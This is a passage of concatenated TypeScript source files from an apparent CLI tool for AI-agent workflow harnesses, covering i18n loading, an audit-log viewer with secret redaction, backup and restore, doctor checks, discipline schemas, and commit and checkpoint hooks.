Phase 2.4 W4: emit runtime-layer findings (manifest key = 'project' or m.metadata.name).\n for (const [mname, fs] of byManifest) {\n if (yamls.includes(mname)) continue // manifest-layer already printed above\n for (const f of fs) {\n const mark = f.level === 'error' ? '✗' : '⚠'\n console.log(`${mark} [${mname}] ${f.field}: ${f.detail}`)\n if (f.level === 'error') errorCount++\n }\n }\n console.log(\n `\\naudited ${yamls.length} manifest${yamls.length === 1 ? '' : 's'} — ${findings.length} finding${findings.length === 1 ? '' : 's'} (${errorCount} error${errorCount === 1 ? '' : 's'})`,\n )\n process.exit(errorCount > 0 ? 1 : 0)\n })\n}\n","// v3.4.0 NEW — lightweight i18n loader for harnessed CLI user-facing strings.\n//\n// Design (Karpathy simplicity):\n// 1. Lazy-load `messages/{en,zh}.json` on first `t()` call (no top-level fs cost).\n// 2. Locale resolution priority:\n// a. setLocale() explicit (e.g. from --lang flag in src/cli.ts)\n// b. process.env.HARNESSED_LANG\n// c. process.env.LANG / LC_ALL / LANGUAGE (POSIX)\n// d. Intl.DateTimeFormat().resolvedOptions().locale\n// e. 'en' fallback\n// 3. Fallback chain on missing key: current → 'en' → raw key (defensive).\n// 4. `{{param}}` interpolation via String.prototype.replaceAll regex.\n//\n// Backward compat: default locale 'en' keys verbatim mirror current literal\n// console output → existing test fixtures continue to assert literal strings.\n\nimport { readFileSync } from 'node:fs'\nimport { dirname, join, resolve } from 'node:path'\nimport { fileURLToPath } from 'node:url'\n\nexport type SupportedLocale = 'en' | 'zh-Hans'\n\nconst SUPPORTED: ReadonlySet<SupportedLocale> = new Set(['en', 'zh-Hans'])\n\nlet currentLocale: SupportedLocale | null = null\nconst cache: Partial<Record<SupportedLocale, Record<string, string>>> = {}\n\n/**\n * Map a raw BCP 47 / POSIX locale string to one of the supported translation\n * tables. Policy (v3.4.0):\n * - `zh*` (zh-CN / zh-Hans / zh-TW / zh.UTF-8 / etc.) → 'zh-Hans'\n * - Any other input (en / ko / ja / fr / de / es / etc.) → 'en'\n * ('en' is the universal default — translations are only en + zh-Hans today)\n * Forward-compat: when ja/ko/fr/etc. tables ship, extend match branches here.\n */\nfunction mapToSupported(raw: string | undefined): SupportedLocale {\n if (!raw) return 'en'\n // Match `zh` followed by end-of-string OR any non-letter separator\n // (`_` / `-` / `.` / ` ` etc.). `\\b` is unsuitable here because `_` is a\n // word char in JS regex, so `zh_CN` would not have a boundary after `h`.\n if (/^zh([^a-z]|$)/i.test(raw)) return 'zh-Hans'\n return 'en'\n}\n\nfunction detectLocale(): SupportedLocale {\n const raw =\n process.env.HARNESSED_LANG ||\n process.env.LC_ALL ||\n process.env.LANG ||\n process.env.LANGUAGE ||\n safeIntlLocale()\n return mapToSupported(raw)\n}\n\nfunction safeIntlLocale(): string | undefined {\n try {\n return Intl.DateTimeFormat().resolvedOptions().locale\n } catch {\n return undefined\n }\n}\n\nfunction messagesDir(): string {\n // dist/cli.mjs and src/i18n/index.ts both resolve via package root sibling `messages/`.\n const here = dirname(fileURLToPath(import.meta.url))\n // src/i18n/ → ../../messages OR dist/ → ../messages\n const candidates = [resolve(here, '..', '..', 'messages'), resolve(here, '..', 'messages')]\n for (const c of candidates) {\n try {\n readFileSync(join(c, 'en.json'), 'utf8')\n return c\n } catch {\n // try next candidate\n }\n }\n // Last-resort: cwd/messages (test env friendly)\n return resolve(process.cwd(), 'messages')\n}\n\nfunction loadLocale(locale: SupportedLocale): Record<string, string> {\n if (cache[locale]) return cache[locale]\n const path = join(messagesDir(), `${locale}.json`)\n try {\n const raw = readFileSync(path, 'utf8')\n cache[locale] = JSON.parse(raw) as Record<string, string>\n } catch {\n cache[locale] = {}\n }\n return cache[locale] as Record<string, string>\n}\n\n/** Set the active locale explicitly (e.g. from CLI `--lang` flag). */\nexport function setLocale(locale: string | undefined): void {\n if (!locale) return\n const mapped = mapToSupported(locale)\n if (SUPPORTED.has(mapped)) currentLocale = mapped\n}\n\n/** Get the active locale (lazy-detect on first use). */\nexport function getLocale(): SupportedLocale {\n if (currentLocale === null) currentLocale = detectLocale()\n return currentLocale\n}\n\n/** Reset cache + locale — for unit tests only. */\nexport function __resetForTests(): void {\n currentLocale = null\n for (const k of Object.keys(cache)) delete cache[k as SupportedLocale]\n}\n\n/**\n * Translate a key with optional `{{param}}` interpolation.\n * Fallback chain: current locale → 'en' → raw key.\n */\nexport function t(key: string, params?: Record<string, string | number>): string {\n const locale = getLocale()\n const primary = loadLocale(locale)\n let template = primary[key]\n if (template === undefined && locale !== 'en') {\n template = loadLocale('en')[key]\n }\n if (template === undefined) template = key\n if (!params) return template\n return template.replace(/\\{\\{(\\w+)\\}\\}/g, (_match, name: string) => {\n const v = params[name]\n return v === undefined ? `{{${name}}}` : String(v)\n })\n}\n","// Phase 5.1 W1 T1.1 — R10.1 audit log --filter consumer (registerAuditLog).\n// D-01: jq subprocess spawn (shell:false, argv-mode, STRIDE T mitigation).\n// D-02: dual format — default human table 5-col + --json full 12-field opt-in.\n// D-03: pagination: --tail N (default 50) + --head N + --reverse.\n// D-04: consumer 2nd-layer redact 5 patterns (defense-in-depth, CSO gate).\n// Sister: src/cli/doctor.ts register + ExitError + flag validation pattern.\n// Karpathy hard limit ≤200L.\n\nimport { spawn } from 'node:child_process'\nimport { existsSync, readFileSync } from 'node:fs'\nimport type { Command } from 'commander'\nimport type { AuditRecord } from '../audit/log.js'\nimport { t } from '../i18n/index.js'\nimport { harnessedFile } from '../installers/lib/harnessedRoot.js'\n\n// v3.0.3 — homedir-rooted via harnessedRoot SoT (sister src/audit/log.ts).\nfunction auditPath(): string {\n return harnessedFile('audit.log')\n}\n\n// D-04: pre-compile at module load (NOT inside loop per PLAN sneak-block).\n// Apply to task_excerpt field only (other fields are structured IDs/enums/timestamps).\n// Pipeline order: paginate → redact → jq → render (redact LAST per RESEARCH § 2.2).\nconst REDACT_PATTERNS: Array<[RegExp, string]> = [\n [/api[_-]?key\\s*[:=]\\s*\\S+/gi, 'api_key=[REDACTED]'],\n [/\\btoken\\s*[:=]\\s*\\S+/gi, 'token=[REDACTED]'],\n [/\\bpassword\\s*[:=]\\s*\\S+/gi, 'password=[REDACTED]'],\n [/Authorization:\\s*Bearer\\s+\\S+/gi, 'Authorization: Bearer [REDACTED]'],\n [/\\b(sk-|pk-|gh_|ghp_|ya29\\.|AIza)[A-Za-z0-9_\\-.]{4,}/g, '[REDACTED]'],\n]\n\nfunction redact(s: string): string {\n return REDACT_PATTERNS.reduce((acc, [re, rep]) => acc.replace(re, rep), s)\n}\n\nfunction redactRecord(r: AuditRecord): AuditRecord {\n return { ...r, task_excerpt: redact(r.task_excerpt) }\n}\n\nfunction renderHumanTable(records: AuditRecord[]): void {\n // 5-col: ts(19) | phase(6) | category(11) | matched_rule_id(20) | outcome\n const header = `${'ts'.padEnd(19)} | ${'phase'.padEnd(6)} | ${'category'.padEnd(11)} | ${'matched_rule_id'.padEnd(20)} | outcome`\n const sep = `${'-'.repeat(19)}-+-${'-'.repeat(6)}-+-${'-'.repeat(11)}-+-${'-'.repeat(20)}-+--------`\n console.log(header)\n console.log(sep)\n for (const r of records) {\n const ts = r.ts.slice(0, 19)\n const phase = r.phase.padEnd(6)\n const cat = r.category.padEnd(11)\n const rule = (r.matched_rule_id ?? 'null').padEnd(20)\n console.log(`${ts} | ${phase} | ${cat} | ${rule} | ${r.outcome}`)\n }\n}\n\nfunction pipeToJq(filterExpr: string, lines: string[]): Promise<number> {\n return new Promise((resolve, reject) => {\n // D-01: spawn with shell:false (default) — argv-mode immune to shell injection (STRIDE T).\n const child = spawn('jq', [filterExpr], {\n stdio: ['pipe', 'inherit', 'inherit'],\n windowsHide: true,\n })\n // Handle jq absent (ENOENT) — actionable error per doctor.ts jq check pattern.\n child.on('error', (err) => {\n const e = err as NodeJS.ErrnoException\n if (e.code === 'ENOENT') {\n console.error(t('audit_log.jq_missing'))\n resolve(1)\n } else {\n reject(err)\n }\n })\n child.on('close', (code) => resolve(code ?? 0))\n child.stdin.write(lines.join('\\n'))\n child.stdin.end()\n })\n}\n\nexport function registerAuditLog(program: Command): void {\n program\n .command('audit-log')\n .description(\n 'Query routing audit log (<harnessed-root>/audit.log) with optional jq filter (R10.1)',\n )\n .option('--filter <expr>', 'jq filter expression (e.g. \\'.category==\"engineering\"\\')')\n .option('--tail <n>', 'show N most recent records (default 50)', '50')\n .option('--head <n>', 'show N oldest records (--head takes priority over --tail)')\n .option('--reverse', 'flip output order')\n .option('--json', 'output full 12-field JSON instead of human table')\n .action(\n async (opts: {\n filter?: string\n tail?: string\n head?: string\n reverse?: boolean\n json?: boolean\n }) => {\n // H1 gate: validate pagination flags before any I/O (sister doctor.ts pattern).\n const tailN = opts.tail !== undefined ? Number(opts.tail) : 50\n if (Number.isNaN(tailN) || tailN < 1) {\n console.error(t('audit_log.tail_invalid'))\n process.exit(2)\n }\n const headN = opts.head !== undefined ? Number(opts.head) : undefined\n if (headN !== undefined && (Number.isNaN(headN) || headN < 1)) {\n console.error(t('audit_log.head_invalid'))\n process.exit(2)\n }\n\n // Read audit.log — SoT-derived path (STRIDE T: no derivation from user input).\n const path = auditPath()\n if (!existsSync(path)) {\n console.log(t('audit_log.no_records_file', { path }))\n process.exit(0)\n }\n\n const raw = readFileSync(path, 'utf8')\n const lines = raw\n .split('\\n')\n .map((l) => l.trim())\n .filter((l) => l.length > 0)\n\n if (lines.length === 0) {\n console.log(t('audit_log.no_records_empty'))\n process.exit(0)\n }\n\n // Parse records; skip malformed lines silently.\n let records: AuditRecord[] = []\n for (const line of lines) {\n try {\n records.push(JSON.parse(line) as AuditRecord)\n } catch {\n // skip malformed line\n }\n }\n\n // D-03: pagination — --head takes priority over --tail per PLAN must_haves.\n if (headN !== undefined) {\n records = records.slice(0, headN)\n } else {\n records = records.slice(-tailN)\n }\n\n // D-03: --reverse flips output order.\n if (opts.reverse) records = records.reverse()\n\n // D-04: redact task_excerpt BEFORE any output (apply last in pipeline per RESEARCH § 2.2).\n records = records.map(redactRecord)\n\n // D-01: --filter → pipe redacted JSONL through jq subprocess.\n if (opts.filter) {\n // jq absent → actionable error (sister doctor.ts jq check pattern).\n const redactedLines = records.map((r) => JSON.stringify(r))\n const exitCode = await pipeToJq(opts.filter, redactedLines)\n process.exit(exitCode)\n }\n\n // D-02: output format.\n if (opts.json) {\n for (const r of records) {\n console.log(JSON.stringify(r, null, 2))\n }\n } else {\n renderHumanTable(records)\n }\n\n process.exit(0)\n },\n )\n}\n","// Phase 1.2 backup writer per ADR 0004 § 3 schema + Pattern B + C + H.\n//\n// IMPL NOTE (Rule 1 / ASSUMPTIONS C3): each backed-up file's metadata entry\n// records `eol: 'lf' | 'crlf'` based on the original on-disk content\n// (detected by Buffer.includes('\\r\\n')). cli/rollback.ts MUST honor this\n// field on restore — naive `fs.writeFile(buf)` would otherwise round-trip\n// CRLF→LF on Win→Unix migrations or vice versa, mutating the user's\n// original file content. The eol field is the only safe way to preserve\n// the original line ending across a backup/restore cycle.\n//\n// ISO timestamp format: `2026-05-12T13-45-22.123Z`. We replace `:` with `-`\n// because Windows refuses `:` inside filenames; `.` and `-` are universally\n// safe.\n//\n// Pattern B (lazy timestamp dir creation): timestamp dir is mkdir-ed on the\n// fly inside backup() — we never pre-create unused dirs.\n// Pattern C: returns Result-shaped object; mkdir/write failures yield\n// InstallResult-style { ok: false, error } never throws.\n\nimport { createHash } from 'node:crypto'\nimport { mkdir, readFile, writeFile } from 'node:fs/promises'\nimport { dirname, join, relative } from 'node:path'\nimport { harnessedSubdir } from './harnessedRoot.js'\nimport type { DiffPlan, InstallContext, InstallError } from './types.js'\n\n// v2.0.1 fix: backup root migrated from `<ctx.cwd>/.harnessed-backup/` to\n// `~/.harnessed/backups/` to support running harnessed from read-only CWD\n// (e.g. user launched terminal from `C:\\Program Files\\Warp\\` → mkdir EPERM).\n// `getBackupRoot()` is exported so cli/backup-list.ts + cli/gc.ts +\n// cli/rollback.ts share the same SoT (sister Phase 2.6 single-source-of-truth\n// per ADR 0024 capability abstraction pattern).\n//\n// v3.0.3: routed through the shared `getHarnessedRoot()` SoT (sister\n// `harnessedRoot.ts`) so all harness-owned roots compose from a single helper.\n// Path remains `<homedir>/.harnessed/backups` — no behavioral change.\nexport function getBackupRoot(): string {\n return harnessedSubdir('backups')\n}\n\nexport interface BackupFileEntry {\n target: string // absolute path of original file\n backup: string // absolute path of backup copy\n sha1: string // sha1 of original content\n eol: 'lf' | 'crlf' // ASSUMPTIONS C3 — preserve original line ending\n}\n\nexport interface BackupMetadata {\n installer: string // manifest.metadata.name\n manifest: string // manifest.metadata.name (alias for clarity)\n timestamp: string // ISO-8601 (with `:` replaced by `-`)\n files: BackupFileEntry[]\n}\n\nexport type BackupResult =\n | { ok: true; backupId: string; backupDir: string }\n | { ok: false; error: InstallError }\n\nconst HOME_DIR = process.env.HOME ?? process.env.USERPROFILE ?? ''\n\nfunction mirrorPath(target: string, scope: 'HOME' | 'PROJECT', backupDir: string): string {\n // For HOME-scope files, mirror under .harnessed-backup/<id>/HOME/<rel-to-home>;\n // for PROJECT-scope, mirror under .harnessed-backup/<id>/PROJECT/<rel-to-cwd>.\n // If we cannot resolve a relative path (e.g. file is outside home dir on a\n // weird Win symlink), fall back to a flat sha1-of-path filename to avoid\n // colliding with sibling files.\n const root = scope === 'HOME' ? HOME_DIR : '.'\n const rel = root ? relative(root, target) : target\n if (!rel || rel.startsWith('..')) {\n const flat = createHash('sha1').update(target).digest('hex').slice(0, 16)\n return join(backupDir, scope, flat)\n }\n return join(backupDir, scope, rel)\n}\n\nfunction detectEol(buf: Buffer): 'lf' | 'crlf' {\n // First CRLF wins; manifests and config JSON are typically pure-LF or\n // pure-CRLF in real world (mixed-EOL files exist but are vanishingly rare;\n // we pick the dominant convention based on first occurrence).\n return buf.includes('\\r\\n') ? 'crlf' : 'lf'\n}\n\nexport async function backup(plan: DiffPlan, ctx: InstallContext): Promise<BackupResult> {\n const filename = ctx.manifest.metadata.name\n\n // ISO timestamp with `:` → `-` for Win filename safety.\n const backupId = new Date().toISOString().replace(/:/g, '-')\n const backupDir = join(getBackupRoot(), backupId)\n\n try {\n await mkdir(backupDir, { recursive: true })\n } catch (err) {\n return {\n ok: false,\n error: {\n file: filename,\n path: '/',\n message: `failed to create backup dir ${backupDir}: ${(err as Error).message}`,\n line: null,\n column: null,\n keyword: 'backup-mkdir-failed',\n },\n }\n }\n\n const entries: BackupFileEntry[] = []\n\n for (const file of plan.files) {\n let buf: Buffer\n try {\n buf = await readFile(file.target)\n } catch (err) {\n // ENOENT is expected for pure-create plans (oldText === '' + file does\n // not yet exist) — record an empty backup entry so rollback knows to\n // delete the file rather than restore.\n const code = (err as NodeJS.ErrnoException).code\n if (code === 'ENOENT' && file.oldText === '') {\n entries.push({\n target: file.target,\n backup: '', // sentinel: no backup written; rollback should unlink target\n sha1: '',\n eol: 'lf', // moot for non-existent file; default to lf\n })\n continue\n }\n return {\n ok: false,\n error: {\n file: filename,\n path: file.target,\n message: `failed to read original file for backup: ${(err as Error).message}`,\n line: null,\n column: null,\n keyword: 'backup-read-failed',\n },\n }\n }\n\n const sha1 = createHash('sha1').update(buf).digest('hex')\n const eol = detectEol(buf)\n const dest = mirrorPath(file.target, file.scope, backupDir)\n\n try {\n await mkdir(dirname(dest), { recursive: true })\n await writeFile(dest, buf)\n } catch (err) {\n return {\n ok: false,\n error: {\n file: filename,\n path: dest,\n message: `failed to write backup copy: ${(err as Error).message}`,\n line: null,\n column: null,\n keyword: 'backup-write-failed',\n },\n }\n }\n\n entries.push({ target: file.target, backup: dest, sha1, eol })\n }\n\n // metadata.json — single source of truth for rollback.\n const metadata: BackupMetadata = {\n installer: filename,\n manifest: filename,\n timestamp: backupId,\n files: entries,\n }\n const metadataPath = join(backupDir, 'metadata.json')\n try {\n await writeFile(metadataPath, `${JSON.stringify(metadata, null, 2)}\\n`, 'utf8')\n } catch (err) {\n return {\n ok: false,\n error: {\n file: filename,\n path: metadataPath,\n message: `failed to write metadata.json: ${(err as Error).message}`,\n line: null,\n column: null,\n keyword: 'backup-metadata-failed',\n },\n }\n }\n\n return { ok: true, backupId, backupDir }\n}\n","// Phase 1.2 cli subcommand `backup list` per ADR 0004 § 3.\n//\n// Lists all backup snapshots under .harnessed-backup/<timestamp>/metadata.json\n// with installer / manifest / timestamp / file-count summary. Sister to\n// gc.ts (which deletes old snapshots) and rollback.ts (which restores from\n// a chosen timestamp).\n\nimport { readdir, readFile } from 'node:fs/promises'\nimport { join } from 'node:path'\nimport type { Command } from 'commander'\nimport { t } from '../i18n/index.js'\nimport { getBackupRoot } from '../installers/lib/backup.js'\n\ninterface BackupMetadata {\n installer: string\n manifest: string\n timestamp: string\n files: Array<{ target: string }>\n}\n\nexport function registerBackupList(program: Command): void {\n const backup = program.command('backup').description('Backup snapshot operations')\n backup\n .command('list')\n .description('List backup snapshots under .harnessed-backup/')\n .action(async () => {\n const root = getBackupRoot()\n let dirs: string[]\n try {\n dirs = (await readdir(root, { withFileTypes: true }))\n .filter((e) => e.isDirectory())\n .map((e) => e.name)\n .sort()\n } catch {\n console.log(t('backup.no_backups', { root }))\n return\n }\n if (dirs.length === 0) {\n console.log(t('backup.no_backups_empty', { root }))\n return\n }\n for (const ts of dirs) {\n try {\n const meta = JSON.parse(\n await readFile(join(root, ts, 'metadata.json'), 'utf8'),\n ) as BackupMetadata\n console.log(\n `${ts} ${meta.manifest} (${meta.files.length} file${meta.files.length === 1 ? '' : 's'})`,\n )\n } catch {\n console.log(`${ts} (metadata.json missing or unreadable)`)\n }\n }\n console.log(t('backup.total_snapshots', { count: dirs.length }))\n })\n}\n","// Phase 1.2 cli subcommand `doctor` per PLAN § 4.1 acceptance B8' + ASSUMPTIONS B4 候选 1 + C4.\n// v3.7.0 Phase 1 — refactored to thin dispatcher (≤100L, well within B-03 ≤225L hard limit).\n// All checks live in `src/cli/lib/check-*.ts` helper files; CHECKS array is single source\n// of truth (`src/cli/lib/doctor-registry.ts`). Adding a check: see registry header.\n\nimport type { Command } from 'commander'\nimport { t } from '../i18n/index.js'\nimport { CHECKS, type CheckResult } from './lib/doctor-registry.js'\n\nexport function registerDoctor(program: Command): void {\n program\n .command('doctor')\n .description(\n 'Preflight checks (Node / MCP scope / jq / Win bash / origin URL / gstack prefix / deprecations / token budget / Agent Teams / planning-with-files / mattpocock-skills / MCP availability)',\n )\n .option('--json', 'output JSON instead of human-readable')\n .action(async (opts: { json?: boolean }) => {\n // Run all checks in parallel (no data deps between them). Order preserved\n // for human-readable output per doctor.test.ts cell-1+4+5 expectations.\n const results: CheckResult[] = await Promise.all(CHECKS.map((c) => c()))\n const hasFail = results.some((r) => r.status === 'fail')\n const hasWarn = results.some((r) => r.status === 'warn')\n if (opts.json) {\n console.log(\n JSON.stringify(\n { checks: results, summary: hasFail ? 'fail' : hasWarn ? 'warn' : 'pass' },\n null,\n 2,\n ),\n )\n } else {\n for (const r of results) {\n const mark = r.status === 'pass' ? '✓' : r.status === 'warn' ? '⚠' : '✗'\n console.log(`${mark} ${r.name} — ${r.message}`)\n if (r.status !== 'pass' && r.fix) console.log(` fix: ${r.fix}`)\n }\n console.log(\n hasFail\n ? t('doctor.summary.fail')\n : hasWarn\n ? t('doctor.summary.warn')\n : t('doctor.summary.pass'),\n )\n }\n process.exit(hasFail ? 1 : 0) // B-06: warn ≠ fail (advisory only)\n })\n}\n","// src/workflow/schema/discipline.ts — Phase v3.0-3.3 W0 T3.3.W0.6 (R30.9 + D-09).\n// TypeBox schema for workflows/disciplines/*.yaml (6 file ship v3.0 per D-09 L0 Discipline Substrate).\n// Sister: src/workflow/schema/judgment.ts dual-shape (triggers vs rules) pattern.\n//\n// 6 file covered (per D-09):\n// base shape (4 file) karpathy / output-style / language / operational\n// priority_hierarchy shape priority.yaml (ordered array of capability tier name)\n// protocols shape protocols.yaml (Record<string, ProtocolShape>)\n//\n// 18th surface schema_version: harnessed.discipline.v1 (per T3.3.W0.11 ADD).\n// additionalProperties:false strict per Phase 2.2 STRIDE T-2.2-02 + RESEARCH-disciplines § 1 verbatim.\n\nimport { type Static, Type } from '@sinclair/typebox'\nimport { SCHEMA_VERSIONS } from '../../types/schemaVersion.js'\n\nconst EnforcementLayer = Type.Union([\n Type.Literal('code-writing'), // karpathy 心法 — write code phase\n Type.Literal('output'), // BLUF / language / no-emoji — emit response phase\n Type.Literal('commit'), // biome / A7 / commit safety — pre-commit phase\n Type.Literal('workflow'), // priority hierarchy / protocols — workflow-level arbitration\n Type.Literal('tool'), // tool invoke discipline (reserved for v3.x extension)\n])\n\nconst Enforcement = Type.Union([\n Type.Literal('halt'), // process.exit non-zero, sister fallbackHandlers\n Type.Literal('warn'), // console.warn emit, continue\n Type.Literal('auto-fix'), // run auto_fix_cmd then continue (biome --write pattern)\n Type.Literal('info'), // log only, no action\n])\n\nexport const DisciplineRule = Type.Object(\n {\n id: Type.String({ minLength: 1 }), // kebab-case\n description: Type.String(), // human-readable\n enforcement: Enforcement,\n trigger: Type.Union([Type.String(), Type.Array(Type.String())]), // expr OR always-on list\n check_method: Type.String(), // heuristic / regex / external-cmd / llm-judge / file-content-match\n auto_fix_cmd: Type.Optional(Type.String()), // only enforcement=auto-fix\n },\n { additionalProperties: false },\n)\n\n// priority.yaml 专字段 — 7-tier capability hierarchy\nconst PriorityHierarchy = Type.Array(Type.String(), { minItems: 1 })\n\n// protocols.yaml 专字段 — Ideation→Onboarding + Plan→Execute + file-ownership-strict\nconst ProtocolShape = Type.Object(\n {\n description: Type.String(),\n required_fields: Type.Optional(Type.Array(Type.String())),\n forbidden_phrases: Type.Optional(Type.Array(Type.String())),\n file_ownership: Type.Optional(Type.Record(Type.String(), Type.Array(Type.String()))),\n rules: Type.Optional(Type.Array(DisciplineRule)),\n },\n { additionalProperties: false },\n)\n\nexport const Discipline = Type.Object(\n {\n schema_version: Type.Literal(SCHEMA_VERSIONS.discipline),\n discipline: Type.String({ minLength: 1 }), // basename (karpathy / output-style / ...)\n enforcement_layer: EnforcementLayer,\n auto_enforce: Type.Boolean(),\n rules: Type.Array(DisciplineRule),\n priority_hierarchy: Type.Optional(PriorityHierarchy), // priority.yaml only\n protocols: Type.Optional(Type.Record(Type.String(), ProtocolShape)), // protocols.yaml only\n },\n { additionalProperties: false },\n)\n\nexport type DisciplineT = Static<typeof Discipline>\nexport type DisciplineRuleT = Static<typeof DisciplineRule>\nexport type ProtocolShapeT = Static<typeof ProtocolShape>\n","// src/workflow/disciplineLoader.ts — Phase v3.0-3.3 W0 T3.3.W0.9 (R30.9 D-09).\n// Sister judgmentResolver.ts pattern: module-level Map<basename, DisciplineT> cache,\n// load + TypeBox validate on first access, subsequent cache hit.\n//\n// Public API:\n// loadDiscipline(basename, packageRoot): Promise<DisciplineT>\n// loadAllApplied(disciplines_applied[] | undefined, packageRoot):\n// Promise<Map<basename, DisciplineT>> — undefined defaults to all 6\n// getRule(basename, rule_id): DisciplineRuleT | undefined (sync, requires prior load)\n// _clearDisciplineCache(): void (test-only)\n//\n// Hot path: master orchestrator workflow load + 4 hook query path.\n\nimport { readFile } from 'node:fs/promises'\nimport { resolve } from 'node:path'\nimport { Value } from '@sinclair/typebox/value'\nimport { parse as parseYaml } from 'yaml'\nimport { Discipline, type DisciplineRuleT, type DisciplineT } from './schema/discipline.js'\n\n/** All 6 LOCKED basenames per D-09 — sister DisciplineName Literal Union. */\nexport const DEFAULT_APPLIED: readonly string[] = [\n 'karpathy',\n 'output-style',\n 'language',\n 'operational',\n 'priority',\n 'protocols',\n]\n\nconst _cache = new Map<string, DisciplineT>()\n\nexport async function loadDiscipline(basename: string, packageRoot: string): Promise<DisciplineT> {\n const cached = _cache.get(basename)\n if (cached) return cached\n const yamlPath = resolve(packageRoot, 'workflows', 'disciplines', `${basename}.yaml`)\n const raw = await readFile(yamlPath, 'utf8')\n const parsedRaw = parseYaml(raw) as unknown\n if (!Value.Check(Discipline, parsedRaw)) {\n const errors = [...Value.Errors(Discipline, parsedRaw)]\n .slice(0, 3)\n .map((e) => `${e.path} ${e.message}`)\n .join('; ')\n throw new Error(`Invalid discipline file ${basename}.yaml: ${errors}`)\n }\n const parsed = parsedRaw as DisciplineT\n _cache.set(basename, parsed)\n return parsed\n}\n\nexport async function loadAllApplied(\n disciplines_applied: readonly string[] | undefined,\n packageRoot: string,\n): Promise<Map<string, DisciplineT>> {\n const applied =\n disciplines_applied && disciplines_applied.length > 0 ? disciplines_applied : DEFAULT_APPLIED\n const out = new Map<string, DisciplineT>()\n for (const basename of applied) {\n out.set(basename, await loadDiscipline(basename, packageRoot))\n }\n return out\n}\n\nexport function getRule(basename: string, ruleId: string): DisciplineRuleT | undefined {\n const d = _cache.get(basename)\n if (!d) return undefined\n return d.rules.find((r) => r.id === ruleId)\n}\n\n/** Test-only — clears the parsed-yaml cache so cache-hit / cache-miss fixtures\n * stay independent. Production callers should never touch this. */\nexport function _clearDisciplineCache(): void {\n _cache.clear()\n}\n","// src/discipline/enforcement/before-commit.ts — Phase v3.0-3.3 W0 T3.3.W0.9 (R30.9).\n// Hook trigger: git commit / push cmd dispatch 前;ralph-loop / subagent / 主 session 全走此 hook.\n// Reads operational.yaml rule[id=biome-preempt + no-push-without-approval + no-skip-hooks]\n// → enforce halt OR auto-fix per yaml enforcement field.\n//\n// Sister src/routing/lib/fallbackHandlers.ts ≤80L split pattern.\n\nimport { execSync } from 'node:child_process'\nimport { loadDiscipline } from '../../workflow/disciplineLoader.js'\n\nexport interface CommitHookCtx {\n changedFiles: readonly string[]\n cmdArgs: readonly string[]\n packageRoot: string\n cmdType: 'git-commit' | 'git-push'\n /** Whether user has explicitly approved the operation (push gate). */\n hasUserApproval: boolean\n}\n\nconst TS_JS_RE = /\\.(ts|tsx|js|mjs)$/\n\nexport async function runBeforeCommitHook(ctx: CommitHookCtx): Promise<void> {\n const d = await loadDiscipline('operational', ctx.packageRoot)\n\n // Rule: biome-preempt — auto-fix if TS/JS files in commit\n if (ctx.cmdType === 'git-commit' && ctx.changedFiles.some((f) => TS_JS_RE.test(f))) {\n const rule = d.rules.find((r) => r.id === 'biome-preempt')\n if (rule?.auto_fix_cmd) {\n console.warn('⚠️ biome preempt — running auto-fix before commit')\n execSync(rule.auto_fix_cmd, { cwd: ctx.packageRoot, stdio: 'inherit' })\n }\n }\n\n // Rule: no-skip-hooks — halt if --no-verify present (no user override at hook level\n // — D-09 LOCKED, only main session bypass via user explicit cmd line invoke)\n if (ctx.cmdArgs.includes('--no-verify')) {\n console.error('❌ no-skip-hooks violated: --no-verify forbidden')\n process.exit(2)\n }\n\n // Rule: no-push-without-approval — halt if push + no approval\n if (ctx.cmdType === 'git-push' && !ctx.hasUserApproval) {\n console.error('❌ no-push-without-approval: user explicit approval required')\n process.exit(2)\n }\n}\n","// src/checkpoint/engineHook.ts — Phase 3.1 W3 T3.2 (W-01 orchestrator promote PRIMARY).\n// Extracted from engine.ts to keep engine.ts ≤200L Karpathy hard limit clean.\n// Single responsibility: bridge engine.ts events → current-workflow.json +\n// checkpoint.json double-write. Analog: src/routing/lib/sdkReconcile.ts ≤56L\n// (Phase 2.2 helper extract pattern for testability).\n// D-04 WIRE-IN LOCKED + W-04 mitigation (phaseId=\"unknown\" warn-only fail-loud).\n//\n// v3.0.3 — checkpoint + archive path routed through `getHarnessedRoot()` SoT\n// (homedir-rooted; EPERM-free in read-only CWD). Sister v2.0.1 backup pattern.\n\nimport { join } from 'node:path'\nimport { harnessedSubdir } from '../installers/lib/harnessedRoot.js'\nimport { SCHEMA_VERSIONS } from '../types/schemaVersion.js'\nimport { activate as stateActivate, complete as stateComplete } from './state.js'\nimport { writeCheckpoint } from './template.js'\n\nexport interface EngineCheckpointHookCtx {\n phaseId: string\n sessionId?: string\n status: 'active' | 'complete' // 'paused' goes through sigintTrap.ts (W4), not this hook\n lastTask?: string\n keyDecisions?: string[]\n canonicalRefs?: string[]\n}\n\n/** Activate workflow + return projected checkpoint path on phase start.\n * Lock acquired transitively via stateActivate → writeCurrentWorkflow\n * (sister W-01 PLAN-CHECK resolve Path A: state.ts self-locks; no double-lock). */\nexport async function activatePhase(phaseId: string): Promise<{ checkpointPath: string }> {\n const checkpointPath = join(harnessedSubdir('checkpoints'), `${phaseId}.json`)\n await stateActivate(phaseId, checkpointPath)\n return { checkpointPath }\n}\n\n/** Write final checkpoint envelope + transition workflow status='complete' on success.\n * Lock acquired transitively via stateComplete → writeCurrentWorkflow\n * (sister W-01 PLAN-CHECK resolve Path A: state.ts self-locks; no double-lock). */\nexport async function completePhase(ctx: EngineCheckpointHookCtx): Promise<void> {\n if (ctx.phaseId === 'unknown') {\n console.error(\n `[harnessed] WARN engineHook: phaseId=\"unknown\" — checkpoint paths fall back to ${join(harnessedSubdir('checkpoints'), 'unknown.json')} (Karpathy fail-loud non-blocking; W-04 mitigation)`,\n )\n }\n writeCheckpoint({\n schemaVersion: SCHEMA_VERSIONS.checkpoint,\n phase: ctx.phaseId,\n status: 'complete',\n last_task: ctx.lastTask ?? 'engine.runRouting complete',\n key_decisions: ctx.keyDecisions ?? [],\n canonical_refs: ctx.canonicalRefs ?? [],\n ...(ctx.sessionId ? { session_id: ctx.sessionId } : {}),\n cwd: process.cwd(),\n timestamp: new Date().toISOString(),\n archive_path: `${join(harnessedSubdir('archive'), `phase-${ctx.phaseId}`)}/`,\n })\n await stateComplete()\n}\n","// run.ts — D-03 WIRED + D-04 PUSH + W0.2 (master detect + disciplines wedge) + W1.5\n// (3 phase-level hook: before-spawn / after-output / before-commit per RESEARCH-disciplines § 4.4)。\n// Phase v3.4.4 — _dispatchSkillStub.fn production default rewired to real sdkSpawn\n// (was literal '<stub for X>'). DI seam preserved for tests.\n// Phase 